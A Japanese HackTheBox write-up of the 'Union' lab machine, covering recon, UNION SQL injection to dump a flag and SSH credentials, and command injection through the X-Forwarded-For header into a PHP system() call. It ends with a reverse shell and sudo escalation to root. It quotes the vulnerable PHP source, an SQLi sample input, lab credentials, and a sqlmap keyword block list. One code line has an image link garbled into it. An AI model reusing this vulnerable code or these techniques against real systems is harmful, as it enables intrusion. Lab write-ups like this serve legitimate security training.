【HackTheBox】Union Writeup
Recon
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.128 -p 80 -sVC
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
開いているのはport 80だけ。
website
ウェブサイトを見ていきます。
ユーザー名を入れて、名前が有効かどうかをチェックできるみたいです。
submitすると、このページに遷移しました。適当に書いたユーザー名は使えたみたい。here
のリンクをアクセスしたらchallenge.php
が表示されました。
何かのフラグを入れるらしい。randomの値をsubmitすると同じページに戻されました。
gobusterでfuzzしてみます。
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.128 -x php
===============================================================
/.hta (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/.htaccess (Status: 403) [Size: 162]
/config.php (Status: 200) [Size: 0]
/css (Status: 301) [Size: 178] [--> http://10.10.11.128/css/]
/firewall.php (Status: 200) [Size: 13]
/index.php (Status: 200) [Size: 1220]
/index.php (Status: 200) [Size: 1220]
Progress: 9228 / 9230 (99.98%)
===============================================================
firewall.php
にアクセスする権限はないです。
burpでpost requestをみてみます。
ユーザー名をsubmitする時のレスポンスがこんな感じです。
SQLi
post requestにcommand injectionとSQL injectionを試してみました。
aaa' OR 1=1; --
を入れた時のレスポンスが変わってchallenge.php
のリンクが消えたので、SQLiできるかも?
SQLiのpayloadをもっと試した結果、union injectionができることがわかりました。だからboxの名前がunionなのかな、、?
database enumeration
dbを確認します。まずは5個のdbがあることがわかりました。
名前を出してみましたが、一回は一行しか表示されないみたいです。ではwhere文でenumerateします。
novemberというdbを発見しました。
table enumeration
novemberの中のテーブルを調べます。
flagテーブルがありました。ここにchallenge.php
に入れるべき値が入っているでしょう。
dbの時と同じ方法で次のテーブルを出します。次はplayersテーブルがありました。
flagを出します。値はUHC{F1rst_5tep_2_Qualify}
でした。
load file
payloadを変えてソースコードを読みます。config.php
にユーザーuhcのcredentialsがありました。
ちなみにsqlmapも使ってみましたが、injectionが検出されなかったです。
Shell as uhc
flagをchallenge.php
にsubmitしてみます。
firewall.php
に遷移されました。このIPはsshでサーバーにアクセスできるようになったとのこと。
ではuhc:uhc-11qual-global-pw
でsshログインします。
uhcのシェルが取れました!
rabbit hole: htb user
今回はrabbit holeにハマったので記録します。
- htbというもう一人のユーザーがいて、htbは複数のグループに入っていてできることが多そう
- linpeasのlog file analysisのセクションにhtbのcredsの一部が出力されました
この2点の情報を考えて「htbのpassword hashを探す→hash cracking→htbに切り替え→権限を調べてpriv esc」の流れでrootを取りたかったが、フルのpassword hashが見つけず断念しました。
grep -lRi "htb" /home /var /etc 2>/dev/null
これでhtbの情報が入っているファイルを探して中身を確認しましたが、ダメでした。
source code analysis
htbユーザーに切り替えることを忘れて、ウェブサイトのソースコードを見てみます。
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['![](https://storage.googleapis.com/zenn-user-upload/12999d402578-20231231.png)HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
</div>
headerにHTTP_X_FORWARDED_FORを設定すれば、system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
にcommand injectionできそうですね。
command injection
リクエストを投げてみて、pspyでサーバー上のプロセスをみてみます。
普通にfirewall.phpをgetするとこんな感じです。
ではheaderを設定してみます。
pspyのログはこんな感じです。コマンドが実行されました。
ではreverse shellを取ります。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.128] 38616
www-data@union:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-dataのシェルが取れました。
Shell as www-data
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
www-dataはなんでもsudoできますね。
Shell as root
ではsudo bashしてroot取ります。
www-data@union:~/html$ sudo bash
sudo bash
root@union:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
Memo
index.phpの中にsqlmap対策がありました。
<?php
require('config.php');
if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {
$player = strtolower($_POST['player']);
// SQLMap Killer
$badwords = ["/sleep/i", "/0x/i", "/\*\*/", "/-- [a-z0-9]{4}/i", "/ifnull/i", "/ or /i"];
foreach ($badwords as $badword) {
if (preg_match( $badword, $player )) {
echo 'Congratulations ' . $player . ' you may compete in this tournament!';
die();
}
}
[...SNIP...]
?>
Discussion